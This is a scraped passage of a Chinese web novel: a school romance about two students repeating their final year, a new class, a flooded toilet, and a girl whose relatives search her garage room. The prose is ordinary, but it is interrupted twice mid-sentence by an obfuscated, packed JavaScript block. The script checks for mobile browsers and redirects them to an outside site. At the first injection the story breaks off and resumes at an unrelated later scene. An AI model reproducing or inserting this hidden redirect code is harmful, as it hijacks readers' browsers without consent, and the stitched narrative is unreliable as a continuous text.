主任还在教学楼外,一手叉腰,一手指着他们的方向,眼神坚定地企图将他们钉在原地。 但是没用。 两人拔腿就跑。 “报告!” 安城北冲到教室前门踉跄了下,习惯性昂首挺胸抬手敬了个少先队队礼。 骆远方嫌弃地退后一步。 这是被何仙姑调教成什么友爱的样子了。 而安城北这声震耳欲聋的报告,恰好打破了教室里所有人看见郑策草书后的沉默。 “我日了鬼了,这写的什么?” 安城北也一脸惊恐看着黑板,又看了眼柯言。 “今天学甲骨文?” 教室里猛然间爆发一阵大笑。 “滚进去。”柯言冷脸用眼神帮他指路。 安城北往后走着,跨越了两层堡垒又忽然回头。 “老师我,这学期不用坐讲台边的雅座了吧?” 柯言看着他:“你想坐,我还想多活几年!不想被你气死。劳烦您就在藏人堆里好吧。” “得嘞!” 他一抱拳,再转身,差点被书绊倒。 为了稳住平衡,安城北几个俯冲连续跨栏,一气儿冲到了最后排。 吻上教室后方黑板。 柯言给他竖了根大拇指。 “骆远方进来,等着做自我介绍。” 同学们这才发现教室外面还站着一帅哥。 不少人惊喜地挑了挑眉毛。 但在看清是骆远方后,立马换成老实脸。 这人不能惹。 骆远方的棉衣只穿了一只袖子,露出的一只手被绷带包成粽子。 而这帅哥的脸和黑色棉服一样阴沉,锁骨和脖子上还贴着一块膏药。 一进门,药香浓郁。 柯言也被吓着了,“你怎么,更严重了?” 他这一身伤配合脸上不屑的表情,一看就是自己惹出来的。 普通班老师哪儿见过这样的阵仗。 还好柯言也不太正常。 见骆远方不想回答,她无奈继续朝郑策抬抬下巴,“你继续。” “大家好,如果能看懂,我的名字叫郑策。” 郑策感觉马上要打喷嚏,一脸不耐烦迅速说道。 “报道前刚从警察局出来,以后多关照。” 教室里响起一声唏嘘和“呜”,跟坐了一屋子绿皮火车似的。 “骆远方。” 骆远方紧跟着在郑策名字下面,写下堪比字帖的三个字。 行云流水,笔走龙蛇,遒劲有力。 “跟她一起出来的,请多关照。” 这会儿倒没有起哄声了。 因为骆帅哥脸色不太好看,像是会打人。 而且他身上的伤似乎是对他话的印证,更没人敢出声了。 但是,教室里寂静一片的时候,最怕有什么异响。 比如“噗”的一声屁响。 而整个过程又太过漫长,以及放屁的人小心制止此次事故,导致声响逐渐变得微小而尖锐,甚至于断断续续的。 打出了节奏感。 这谨小慎微唯唯诺诺的屁声,让柯言也没忍住,一声噗嗤后瞬间转化为滔天的哄堂大笑。 “这屁放得怎么这么伤感又憋屈呢!”安城北笑得眼泪都快出来了。 剑拔弩张又莫名其妙的气氛在瞬间缓和下去。 感谢屁君。 骆远方顾自走下讲台,长腿在一个个书堡之间迈得自如。 他看了下教室的布局,果然没有同桌。 但他和郑策的桌子间就空了一摞书的位置。 现在还空空荡荡无遮无拦的! “哟,冤家路窄。” 骆远方用脚把椅子勾开,双手没离兜,懒散地靠着椅背坐下去。 “你谁?”郑策头也不抬就抬杠。 “我谁?” 自作多情的安城北气不打一处来,转头看她,“我被你拿刀架在脖子上。我谁?” “我没架你脖子上。”郑策也往后一靠,看着他。 安城北瞬间有种被两个大佬审问的错觉,但他还是坚强地一拍桌子。 “安城北!皮痒了是吧?” 柯言河东狮吼的嗓门配上小蜜蜂加持,气势非常感人。 甚至能察觉到隔壁班讲课声都停顿了下。 “这么爱说话,把小蜜蜂给你带着,我们都听听?” 她皱了皱眉,又看向骆远方:“骆远方你个老油条欺负新同学了?” 骆远方惊诧抬头看她,又无辜地转过去看郑策,顿时吓了一跳。 郑策因为靠近窗户,风大灰大,连打了几个喷嚏又揉了下眼睛。 这时候双眼通红,呼吸间甚至都能听到她的鼻音。 这是什么奥斯卡演技? “老师,我没事,您继续。” 奥斯卡得主用沉闷的鼻音宽宏大量地朝柯言说。 “嗯。那我先聊聊假期作业。” 柯言调整情绪,技巧性十分强地停顿了差不多一分钟。 期间将每个敢于和她对视的人都给看得心虚了,才一脸了如指掌地嘁了声。 “齐深,作业拿出来看看。” 这一点名,班级紧张氛围瞬间达到高潮。 被叫齐深的男孩假模假样在书包里翻找了下,演技也是过硬,半晌才犹豫道:“老师,我好像没带……” “你是学委吗你!没带?没写还是没带?” 在接下来柯言暴虐九班的时间里,最后排两位复读生无所事事。 郑策又连打了几个喷嚏后,实在受不了,从包里倒出一堆药,就着水一口就要吃进去。 “卧槽,你干嘛!” 安城北眼神时刻关注敌方动态,此时惊慌地压低声音问。 骆远方也半撩起眼皮朝她看过来。 她顿了顿,声音越小越显得鼻音浓重,“你说什么?鼻炎犯了,耳膜难受,听不太清。” “嗐,我以为你受不了打击,要报复社会,在班里自杀呢。”安城北郑重地呼出一口气。 “不至于。” 郑策笑了笑,将一张纸平铺在桌上,把药放上去,一颗一颗就着水灌下。 相当精致,相当优雅。 喝足两杯水再转头,两位小兄弟还满脸疑惑地看着自己。 她不得不解释了句:“两颗以上我就咽不下去。” 安城北痛心疾首地转身:“得,两杯水,药性都稀释完了。” 还上着课,骆远方也没找着机会问郑策,百无聊赖数着前桌安城北的头发丝儿。 听到柯言在讲台上宣布寒假作业迟一周交的时候,全班响起欢呼声。 而他却更烦躁了,本来确实写不完,今天挨一顿骂就过了。 现在又多出一周时间,再写不完就没借口了。 操。 柯言继续哄着这群傻子,说收手机反正他们也会偷偷藏起来,玩得更带劲,不如不收。但是,被抓住当一个月值日生。 又是一阵欢呼。 操。 果然是大城市人才引进的老狐狸,明退暗进啊。 骆远方摸到兜里的纸,是今天出门时刚从门上撕下来的。 掏出来看也没看,一把撕成两片,叠一起继续往小了撕。 郑策也无聊,旁边这位哥发泄似的撕纸让她有些在意。 转过头去时,只隐约看见“欠债”“地义”。 她怔了瞬。 “看什么?” 骆远方的声音在旁边冰冰凉传来。 “看你。你帅。” 郑策又去看他。 这才发现他左侧鼻梁偏上位置有颗小痣。 眼睛是深邃的,被这颗痣一衬,更有了异域的妩媚凌厉。 而这位爷手掌关节处缠着绷带,将四根手指包裹在一起,看着攻击性很强。 每根手指指甲上还带裹着一片创可贴。左手手腕上将一串木质佛珠折成四圈戴着。 这装饰算是她见过的最复杂的了。 妖精。 郑策不屑。 这样满手鲜血的人还信佛,有些荒唐。 “有纸吗?”郑策依旧挑衅地看着他。 骆远方看她一眼,没说话,丢过去一包纸巾。 “谢谢。” 郑策皱着眉掏出一张纸擤了擤鼻涕,然后卷着两张纸塞进鼻孔里,说道: “你有灰指甲吗?裹这么严实。” …… 又是胆结石,又是灰指甲,你姐妹俩健康大使啊! 前桌安城北非常不给面子,笑得发抖。骆远方给了他椅子一脚。 骆远方手指微不可察蜷了蜷。嘴里硬硬蹦出两个字: “少管。” 郑策看他一眼,没再说话。 九中的桌椅都是塑料的,蓝色,边缘不像木质桌角尖锐。椅子还贴心地仿照屁股形状做了两个凹陷。 但这屁股形状并不是人人通用啊。 关键还很重,不方便挪动。 郑策一整节课如坐针毡。 但是好容易等柯言做完收心动员,门外那个肌肉男老师又出现了。 “谁是新来的郑策?”他在窗口边问。 “我。”郑策没动,看着他。 “出来一下。” 这位吴老师头偏了偏,转身在走廊上站着,背对教室。 “老师有什么事吗?”郑策走出去问。 “我教物理的,听说你物理不错,基础还在吗?” “忘得差不多了。” 这是实话。 吴老师原本准备了一兜台词让她谦虚谨慎,打牢基础云云,这下好了,全部用不上。 “那你厉害啊。” “一般吧。” 郑策看出来这老师对自己有股莫名其妙的敌意,也不打算礼貌回应了。 “我告诉你,成绩好,不要以为自己就无所不能了,还不是回来复读,就得埋着头做人。” 老吴硬着头皮把肚子里的草稿念出来。 郑策皱了皱眉,毫不避讳看着他,声音也没降下去。 “老师我第一天来,不认识你,不记得得罪过你。我也从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好什么好?”骆远方瞪着安城北,“你再多说一句,我把你打墙上,扣都扣不下来。” “不是,您平时都不正眼看人的。” 安城北冒着变成相纸的危险解释,“对这个郑策是不是太好了?你就说是不是!” 他忽然眼里闪过一丝光,“你们是不是早就认识?” 骆远方不知所措了一刹那,很快恢复状态。 “是个鬼。”他从书包里拿出一排酸奶。 “我心这么善良,对谁都好,专门给你买的酸奶,润肠通便,我好吧?” “您小点声。” 安城北男人的面子忽然带上了,小声道:“但骆哥你也真是贴心,我都不打算管了,你还记着。” “嗯。”骆远方把酸奶塞进他怀里,让他赶紧滚。 “自己买的时候选买蛋白质超过2.9克的,碳水化合物含量5克左右的通常是没添加糖的,记着。” “记住了,妈妈。” 骆远方往他凳子上踢了一脚。 这家伙不退反进,扭过来抛了个媚眼,还朝他比心,“爱你,哥。” 骆远方选择不再招惹这玩意儿。 你为什么对郑策这么好? 安城北挑破之前,他根本没察觉有什么不同。 但是自从知道郑策家里的事,他每次看见她都会想起小时候,去她家里看见的叔叔阿姨。 郑策妈妈身体不好,但她爸妈两人都很和蔼。对郑策虽然严厉,但从不责骂。 有一回郑策没考好,不敢回家,恰好看见他又和人打架了,兴奋地跑过去问他,能不能说自己救了他,带他回家上药。 骆远方当然乐意至极。 后来去的次数多了,郑策妈妈把她支开时,对自己说的话他也一直都记得。 “是怕她挨骂才来的吧?” 她看着骆远方的时候,眼睛里都是笑意。 “以后会不会嫌弃有这么个多病的丈母娘啊?小策以后还得多加关照,麻烦你了。” 小小年纪还不懂什么,但他记得自己郑重地点了头。 虽然后来也没麻烦成。 因为她们搬家去了大城市。那里有更多的工作机会,也有更好的医疗资源,帮郑策妈妈看病。 是因为小时候的一句承诺么? 所以才会不经意多照顾几分。 会看不惯她故作无所事事,把自己打扮得与这里格格不入。 会气愤她受了委屈不懂得为自己争取。 这是什么感觉,骆远方一时也说不上来。 有点憋屈。 郑策回座位时,他也没理,对着桌子发呆。 直到门口传来小蜜蜂熟悉的“开机——”机械女声。 “OK,挠,classbegin!” 沙老头操着口音里夹杂的英语,从门口笑眯眯走进教室。 同样的声如洪钟,整个教室就他们俩还没习惯。 于是,郑策手里转的笔吓得飞了出去。 她弯腰去捡,再抬头时,没注意撞上了桌角。 闷响一声。 诶,果然塑料的桌子没木质的撞着疼。 郑策好奇地保持着弯腰俯身的姿势,转头去看这桌子的结构。 就看见一只手贴在桌边,挡在她的头和桌角间。 顺着这只胳膊望过去,先是那串佛珠,再是骆远方那张冻死人不偿命的脸。 骆远方撇过头去。 反应太快,又顺手了。 啧。 把你能的。 12. 放学去找你,听话 “哪两位是新来的?举个手letmeseesee。” 郑策和骆远方来不及客套,一脸严肃在最后排乖巧举手。 “哟帅哥和美女。骆远方和郑策是吧?” 沙老头转身掰断一截粉笔,在黑板上写他的名字,“mynameisLeo,大家一般叫我雷奥老师,或者老雷。” 还,真挺独特的。 雷奥闹,不如叫老闹吧…… 老雷没有等他们回答的意思,皱着眉看了眼讲台正上方一盏忘开了的灯管,指了指门边的同学。 “开下灯,thankyou.” 也不知道哪个手欠的在灯的开关边黏了个便利贴,写着三个大字:给我按! 像是开个灯能把学校给开穷了似的。 老头满意地感受到LED灯普照在他大光明顶上。 先是大胆开麦讽刺校领导,吐槽学校厕所,饮水机等基础设施太差。 后面又扯到他教研组组长是怎么千辛万苦来的,再然后聊到寒假新出的美剧,让大家可以多看看练习听力。 每科的开学第一节课一般是这学期最轻松的一节,轻松得郑策逐渐沉醉在熹微日光里。 昏昏欲睡。 “你是不是偷吃什么东西了?”旁边的冰山忽然问她。 骆远方每次遇见郑策都能闻到一股奶香,平时不觉得,今天在教室闲得饿了,闻着格外不爽。 郑策偏过头看了他三秒。 从抽屉里掏出鼻炎药,“吃么?” “吃。” 前面的安城北头都没转,向后一靠,左手反着从桌下面伸了过来。 “……” 郑策沉默两秒,把药取出来,空盒子递了过去。 “谢了。” 安城北眼睛仍旧双目无神,铜铃般地瞪着黑板,把盒子拿到面前才低低骂了声。 “卧槽,你俩耍我呢。” “你不是健胃消食片都当零食吃么?”骆远方微勾起唇角。 “那是消食片,这是鼻炎药,我他妈不是傻?!” “Anyvolunteer?”老雷忽然在讲台上问了句。 此话一出,堪比武林最高秘籍出世,震慑江湖。 全班战略性装死。 “那就,城北……后面的远方同学,你来吧。” 这老师说话带着年代感分外重的分寸和礼貌,抑扬顿挫,骆远方听见郑策闷声笑了下。 而前面的城北同学以为开小差被逮了个正着,一扭头咬着舌头,操了声捂着嘴做沉思状。 郑策本以为要看伪同桌出丑了,结果骆远方盯着着黑板上的英文直接念了一遍:“lovelovestolovelove.” 他声音很好听,发音也很醇厚,甚至有英国绅士的味道。又带着薄荷叶的清爽。 但这绕口令的一句还是让郑策不禁抬起宝贵的头颅。 什么鬼? “爱是沉醉于喜欢本身。” 骆远方如人机一样念了个狗屁不通的话,乍一听还挺有哲学那味儿。 “不错,发音很好,之前有过国外的经历吗?” 老雷有些惊喜地看着他。 “说说你怎么翻的。” “没有经历。” 骆远方不但不惊喜,还很不耐烦。 “这就跟roseisaroseisaroseisarose.一个道理,玩文字游戏而已。” 肉什么? 安城北转头张大嘴巴看他。 有本事再说一遍,我打赌两遍不一样! 趁着班里人还没反应过来,骆远方迅速在老雷赞许的眼光中坐下。 这样的关注让他有些不习惯。 “OK,now,followme……” 老雷拍了拍黑板继续讲课。 “卧槽,哥们儿还是牛逼。” 安城北转身不放过任何可能的开小差机会,夸张道。 “没想到半年时间都没把你英语给荒废喽。” “安城北同学,我现在把你废喽你信不信?” “信!”安城北坐得笔直,“老师我信!” 骆远方笑着去翻书,却发现自己同桌丝毫没被影响,忙碌于生产线上不可自拔。 只见郑策先在新书首页写上自己名字,思考了阵,又在书侧面画上自己大名。 后来发现写在底部才能最方便从抽屉里选中。 又一通写,翻来覆去,跟练签名一样,洋洋洒洒写了几大本书。 郑策其实挺喜欢新书的油墨味儿,一切知识都未知的感觉。 直到写完最后一本书,发现写了两遍语文,才猛然抬头,撞上骆远方说不清道不明的目光。 “谢谢哦。”骆远方看着她手里自己的语文书。 “我可以补救,稍等。” 郑策从笔袋里掏出透明胶布,黏在字上,潇洒一撕。 哗啦一声,书页一分为二,Tom和Amy头身分家。 嘶。 她眼疾手快又把胶布黏了回去。 在惊恐之余回头,骆远方依旧面无表情看着她。 “不要急!抱歉。” 郑策还是尽在掌握中的表情,对他点点头。 紧接着骆远方就听见隔壁桌撕胶带跟装修似的声音,此起彼伏。 不一会儿,一本透明胶包裹成硬塑料壳的语文书递给他面前。 而郑策两个大字仍旧非常醒目,还反着光。 “卧槽。”他感叹这人动手能力还挺强。 “要不你用我的吧,我的没坏,只是写了名字。” 郑策并不介意这些细节,把自己语文书掏出来,划掉名字,熟练地写上骆远方三个字。 骆远方挑眉看她。 过于丝滑了啊姐们儿。 “我也没说什么。” 骆远方防止待会儿这本书也小命不保,连忙拿过来。 “我的书一个月后差不多也成活页本了。” “那你不早说?”郑策有些震惊。 “我让你撕胶布的?我让你补成硬壳纸的?” “……” “哎哟,你俩这动静至于吗,骆哥要和我换吗?” 安城北悄声问,“什么书?我几本都没记过笔记,八成新,以假乱真那种新。” “算了。” 骆远方翻开语文书,在郑策名字上用马克笔写上三倍大的骆远方。 示威一般。 写完忽然一阵恍惚,好像又回到小学,他们俩的名字总是挨在一块儿的时候。 旁边这位签售结束就忽然安静下来。 骆远方再回过头去,郑策桌面上空空如也,他忍不住又问:“你没英语书?” “嗯?” 郑策看他一眼,“只剩一本,我先给你了,我后面再拿没问题。” 还挺义气。 骆远方把英语书往桌侧一挪,“一起看吧。” 郑策看了他一眼,点点头。 因为两张桌子没有挨着,这书的距离离郑策还是太远。 她整个身子都倾了过来。 骆远方还得时刻担心万一滑倒,要不要接住她。 他深吸一口气,将书扔到她桌上,“你帮我记笔记吧,困了。” 太久没听课,上课铃响起的第一秒其实骆远方就感觉自己中沉睡魔咒了。 但在趴在桌上闭眼前,忽然看见郑策认真地记了两笔鬼画符后,他差点闭不上眼。 算了。 由着她吧。 眼睛一闭一睁,一节课就飞也似地过去。 骆远方还趴在桌上,望向走廊那边的窗外。 课间操前几分钟,此时走廊里聚集了一群来路不明的热心学生在进行意图不明的作法迷信活动。 以安城北为首,四十五度角仰望上苍,双手合十,求老天下雨或者求萧敬腾来本地开演唱会。 雨没求来,但一阵狂风刮过,云层散开。 太阳公公被这群逼召唤出来了。 课间操都变得炙热起来。 众人在音乐响起的时候,只得心灰意冷下楼。 高一高二的教学楼沿着山脚建了一溜。九班在铭志楼。同样暗红色砖墙,天蓝色栏杆,配色十分温暖。 在挑廊里能看直接眺望到操场,跑道边几个红色正楷大字: 野蛮其体魄,文明其精神。 柯言原本发了课间操教学视频给两位新同学,但两人都十分坦然地没看,说得跟着活人学才记得快。 于是柯言:“活人?那安城北带一下吧。” 安城北:……谢谢夸奖。 于是活人安城北今天不仅要拖着沉重的身躯去跳九中原创兔子舞,还承担教导郑策和骆远方的重任。 走之前骆远方特意又问了下,他皮燕子还能承受得住高强度跳跃动作吧? 安城北瞪他一眼没说话。 课间操半小时,一群僵尸挤挤攘攘下楼,又推推搡搡上楼,一到教室就跟打开了睡眠开关一样,抢着去见周公。 但如果有人在打铃之前打开一包三加二,还是会跟白蚁过境一般,三秒内席卷而空。 第三节课是柯言以语文老师身份来教室的第一节语文课。 进门就甩了一套卷子在门边同学的脸上。 守门同学:……敢怒不敢言。 “看你们一个个懒样,先做套题练练手感,清醒一下!” 清醒? 做语文卷子? 开玩笑吧。 郑策有些心疼被甩得一脸懵逼的看门同学。 这位被扇一巴掌都不定能清醒呢。 开学综合症充分表明,不仅上课听不进去,试卷肯定也是做不进去滴。 郑策翻译了两道文言文,就瞪着卷子发神。 脑子跟生锈了一样,齿轮根本运转不起来。每个字都认识,连在一起一句话也读不懂。 直到讲台上柯言提醒最后十五分钟,她才猛然清醒。 然后在企图四处借鉴答案的安城北惊恐的眼神中,用十五分钟干满了八百字的作文。 这个速度是三年高考应试化训练,到现在唯一剩下的肌肉记忆了。 笔走龙蛇,表情严肃,不带停顿。 “卧槽,这还是人嘛?果然是学霸啊。” 安城北感叹了句她这堪比火箭发射的速度。 收完卷子,充实又忙碌的一早上过去,安城北忽然生无可恋地发现: 才过了半天。 “下午去打球。” 骆远方眼神也快失去锋芒,直直地看着课桌上的纹路。 “不上课了?”安城北问。 “柯言讲卷子,你要能听懂你就上。” 安城北回忆了下语文卷子独领风骚的风格: A没有问题,B不太符合,C有一点不对,所以选D最合适。 他果断回道:“打球。” 说实话,骆远方是真想认真学习。 可旁边坐了个不认真上课,要么擤鼻涕,要么搞签售的学霸。 前面又有个安城北皮燕子不舒服扭来扭去考验干部耐心。 他是真学不进去。 一下午过去,在球场上休息的时候,一阵风刮来,刚出的一身汗瞬间冷却,提神醒脑。 “骆哥,你这寸头是不是不抗冻啊?”安城北拿起一瓶水。 “我看着都冷。” “那你别看。”骆远方说。 手机震动了下,打开竟然是郑策的消息。 放屁优雅的女子:【下午厕所堵了。用拖布救急的时候,有人不小心把你书撞倒了。】 紧跟着是一张照片,里面是他那本沦陷的语文书。 胶布包装在闪闪发光,内页都泡卷曲了。颜色深了一个度,跟刚军训回来似的。 那个农民一脸悲愤:【这是掉厕所里了吧?】 事情发生的突然。 楼上有人想不开把练习册撕碎了往厕所扔,堵住了下水道。 紧接着水漫金山,米田共和童子尿淹没楼上厕所,再渗透他们这层的天花板,两层楼跟着遭了灾。 情急之下,离厕所近的几个班纷纷贡献出自家班级拖布堵在厕所门边。防止毒水四散。 九班劳动委员救灾过程走得急,不小心撞上骆远方课桌。 而正巧,那本贴满透明胶的语文书,因为做工不良,胶面反转,粘在他身上。 一同去了前线救灾。 甚至还以身殉国。 好在据劳动委员说只是落在拖布池里,没粘上不该粘的东西。 众人拿这本书没办法。 柯言也摸不准骆远方的脾气,这小子翘课了根本不会接她电话。 问了一圈,竟没一个人有他的联系方式。 郑策于是认命地发送了他们俩聊天框内第一句主动搭讪。 她还没想好怎么回复,骆远方电话就打了进来。 狗日的还知道从微信号找到她手机号。 “喂。” “别放我桌上,扔了吧。” 骆远方刚运动完,气息还有些喘,刻意压低的声音带着很明显的颗粒感。 “柯老师说没新书了,我给你弄干净了已经。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812341|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑策趁乱在最后一排打电话,也小声道。 有种隐秘在人群的刺激感。 她看了眼桌上被自己随便擦了下封皮就摊开的书。 确实没什么怪味儿,就是落进了拖布池里而已。 “那送你了,你留着吧。” 骆远方看着远处有个半大点儿的孩子抱着篮球跑来跑去,忽然发现自己心情竟然并没有很糟。 “给你放桌上了,爱要不要。” 郑策不想和他纠缠,就要挂电话。如果真丢了,没书最后又怪她怎么办。 “就这样。” “哎!” 骆远方忽然加大音量。 旁边一脸八卦的安城北听这一嗓子,眉毛嘴巴都快旋转跳跃飞起来了。 骆远方转过头去,小声又急切道:“别这样,我洁癖,丢了吧。” 郑策想着骆远方绷着脸又无可奈何的样子有些想笑。 她捂着手机听筒,笑着挑衅:“那你求我。” “我求你。”骆远方回答得相当顺滑。 郑策瞬间挂了电话,嘴巴都笑得合不上。 屏幕上冒出一排提示: 一条通话录音已完成,请点击查看。 “操。”骆远方皱着眉听见手机里一串忙音。 他被挂电话了! 沉默了会儿,骆远方眉头忽然皱得更厉害。 “什么味道,这儿也水漫金山了?” “不是。” 安城北有些尴尬。 “我乳糖不耐受,今儿奶喝多了,屁多。” 骆远方不可置信看了他一眼,往旁边悲痛欲绝移了两步。 “我何必呢我。” “我靠,幸好翘课了,今天下午他们上不了课吧。” 安城北在学校论坛里实时跟进新闻,笑着说。 “诶,今天已经被封为富乐九中淹屎之乱,记入史册了都!” “反正都快放学了,差这几分钟?” 骆远方忽然想起什么,一个电话又拨了出去。 郑策收到来电显示时,正收拾好了书包准备离开。 她心虚地看了眼还放在骆远方桌上的语文书。 “喂?”她接起电话。 电话那头还有救灾群众哭天抢地地呐喊:“oh,shit,我的鞋!” “有事不能发消息么?” 郑策小声问。 虽然人人都有手机,但她这样明目张胆接电话,总还是有些心虚。 她话里的气声儿贴着耳根穿过来,像是在耳边说悄悄话。 骆远脖子上有种麻酥酥的错觉。 球场旁边有个卖巴掌大小书的旧书摊,皮儿都包浆了的小书带着特有年代感的封面在风里岿然不动。 莫名有种遇见故人旧事的踏实感。 “这样效率高。你,还没出教室吧?” 骆远方问,“我待会儿去找你一趟,帮我拿一下抽屉里的磁带盒,别打开看啊。” “我不呢?” 郑策对于这个前两天刚教训过自己的人,现在竟然支使上自己有些不满。 “您灰指甲是拿不了重物么?” 安城北又开始哆嗦,骆远方抬脚,他侧身躲开。 他今天的面子算全折在郑策这儿了。 “何必呢。”骆远方顺嘴就道,“听话。” 他这两个字精准且沉重地打击了电话两头的三个人。 郑策伸手拿磁带的动作滞住片刻。 “……路烂容易摔,走路看着点路,别打电话了,再见。” 骆远方一时也无解,慌乱挂断前又交代了句:“待会儿就来,谢谢。” 挂了电话,安城北意料之中用一脸“你屎到临头”的表情盯着他。 他叹了口气,“想问问,别一副便秘的模样。” 安城北一脸意味深长,捏着嗓子道:“你好温柔啊骆远方,人家都快被你甜到了诶。” “走了。” 如果不是知道自己一直丧着个脸,骆远方怀疑安城北吃错毒蘑菇了。 “错了错了错了错了……” 安城北把他拉回来。 “你俩怪怪的啊!认识?还加了微信?什么情况?有情况!” 安城北的音量承递增趋势上扬。 “我家的房子是买的她家的。” 骆远方简单省略重点剧情,直接总结。 “她来抢房子的?” “已经解决了。”骆远方说。 “我靠,还真是。” 安城北心有余悸道。 “给你说,离这种学霸远点,为了学习六亲不认的。Z大都不去,正常人无法理解吧?说不定什么时候你挡她路了,背后捅你一刀。” “……那倒也不至于。” “就冲丫老说你灰指甲,我就跟她过不去!哥们儿永远跟你好,拉钩上吊一百年不许变那种。” 安城北说着贱兮兮地去撕他指甲上的创可贴。 “我来看看骆奶奶包指甲花的手艺。” “滚蛋。” 骆远方笑着说,但没推开他好奇的手。 “骆淇被我气了几回,总得顺着她点。睡着的时候给我包这个能不醒嘛,我也服了这老太太了。” “说是对眼睛好呢!” “待会儿回去,让她给你也来点。” “算了,我直男,包不了这个。”安城北摆手。 “找抽是不是?” 郑策虽不理解,但拿了骆远方的磁带盘也没偷看,揣进书包里就往回走。 中午的时候江蔚云说是被班主任带走体检,量尺寸做校服之类的,应该没这么快到家。 她没钥匙。 所以如果没人在家,她就进不去。 敲了两下门,果然无人回应。 郑策左右看了下,没路人,利索地踩着路边的树杈翻身上墙。 刚稳住,她忽然停滞片刻。 车库的门半开着。 而她和江蔚云一直有随手关门的习惯。 今天属于因特殊原因提前放学,所以,如果有人趁此机会去她们房间,按理说不会被发现。 不管是小偷,还是什么,郑策抄起墙边的铁铲,斜拿着放在身后,迅速将卷帘门拉高。 卷帘门高过头顶的同时,郑策缓缓抬眼。 一览无余的房间内站着宋熙,手里还拿着江蔚云的书包。 于此同时,里面传来宋熙的咕哝,“那么小个金佛,这孩子能藏哪儿呢。” 郑策忽然感觉身上血液都冷却了,怒火哗哗就往上涌。 藏你妈个蛋。 13. 跟着我 安城北在球场上被他妈叫回去吃饭后,骆远方接到了骆淇的电话。 里头声音嘈杂,她想必又占据了一个新的花坛,和一群老太太跟土匪头子一样盘踞着。 “上回让你找那姑娘说的事儿怎么样了,她愿意来吗?” 声音也很土匪。 骆远方没说话。 具体来说是没想好完美的措辞,来遮掩他还没提这件事儿的尴尬。 “我就知道你小子没说,小家子气。”骆淇切了一声。 “我现在就往他们家去呢。” 街头的风有点冷,骆远方把衣领拉高遮住下巴,声音有些郁闷。 “哦,那你记得悄悄问啊。” 骆淇提醒,“别惊动人姨妈一家,以为我们要策反啥的。最后弄得面子上不好看。” “知道了。” 他也不傻,如果人不愿意搬出车库,又被韩忠夏听见了,郑策之后在车库也不好混了。 “怎么突然想起这件事?” “刚有老太太说今天遇见宋熙了,跟她抱怨家里多了张嘴。” 骆淇不爽道,“说的不就是郑策嘛。小姑娘也不容易,我们毕竟占了人家便宜,能帮着点就帮着点吧。” “嗯……” 骆远方刚抬头,就看见前方一个人影从院墙上翻了进去。 紧接着院子里传来男人不大不小的叱骂。 他皱了皱眉,“我先挂了。” 韩忠夏刚才被床帘挡住,此时从帘子后拿了把匕首站出来。 他看着郑策冷笑道: “这是喂了头养不熟的狼在家里啊,枕头下面放着刀防谁呢?” “你们在干什么?” 郑策的声音有些不稳,但她竭力保持冷静。只感觉全身关节发紧,稍微动一下就嘎吱作响。 “打扫自己的房子。干什么?” 韩忠夏不屑地把刀丢回床上,“顺带看看能不能捡着什么宝贝?” 郑策不动声色往墙角的行李箱望过去。虽然关着,但她出于一家人的信任并没设密码。 好在箱子位置没变。 她察觉背后一阵寒意顺着脊柱爬上来。 如果今天没有被她撞见,这样的情况还会发生多少次?那之前这两天呢? 她移回目光,冷笑道:“还有这种好事呢?捡着了么?给我也来点。” “小策,你听姨妈说……”宋熙有些为难。 “捡,虽然没捡到。” 韩忠夏冷脸高声打断她,“但是,不看你这本子,还不知道你怎么蛐蛐我们呢,小白眼狼。” 郑策脸色更沉了沉,声音再无起伏,一字一顿生硬道: “你看我日记。” “翻翻怎么了?又不少块儿肉。” 宋熙小声提醒他,他手一挥反而加大音量: “这是我家,你来了就漏财,我还没找你算账呢!” 郑策盯着他半晌,忽然勾起一边唇角笑了笑。 然后走过去从韩忠夏手里抢过被打开的书包,开始把桌上的东西往里收。 下一步往哪儿走她不知道,但这个车库,她肯定是不会再住下去了。 院子铁门忽然被敲得哐哐作响。 “谁啊?”韩忠夏不耐烦朝门口吼了声。 宋熙想来拦郑策,让她别赌气,郑策没理她。 “我!” 门外面只听得出是个男人的声音。 也不自报家门,说完后又哐哐两声,这力道更像是来砸门的。 安城北曾经说骆远方边界感太清晰。 但这段时间和郑策相处来看,郑策的边界感更不容小觑。 被翻包察日记这种事,对她来说无疑是种羞辱。 这家人嗓门不小,里面的门又开着,骆远方在院墙外听了个大概,等到里面没声儿了,他才抬手敲门。 该走了。 铁门上的一扇小门打开,韩忠夏皱着满脸褶子探出来,先是一惊。 “骆远方?干什么?” “我找郑策同学,找她拿东西。” 说话间,骆远方把只穿了一只袖子的棉服脱下来,拴在腰间。 再慢条斯理拆下左臂上的绷带,绑在手背上,用嘴咬着一边,系了个死结。 “她没在。”韩忠夏扫了他一眼就要关门。 骆远方看准时机,一脚卡在门边,稍一用力,将门踢开。 再踏进去,毫不客气往车库方向走。 “谢谢叔。” 一进车库,他挑了挑眉,“哟,东西都打包好了,这么快。” 郑策她们的东西一直也没摊开放,都放在包里,随时把拉链合上就能走。 郑策看着他没说话。 骆远方两步走到郑策旁边,右手推着两个行李箱,左手拿起桌上被塞满的手提式户外包。 郑策盯着他:“你干嘛?” “收拾完了?” 骆远方转头看她,“你还想跑几趟?” 郑策犹豫着点了点头,没去看宋熙,垂着头走过去。帮着把户外包提过来。 “抬起头。” 骆远方抬着下巴看院子里眉毛胡子都要气炸了的韩忠夏,对她小声说。 “你没做错什么,丧着脸给谁看。” 院子里韩忠夏一脸了然,奸笑道: “哟,这是找着下家了,还真是和你妈一样……” 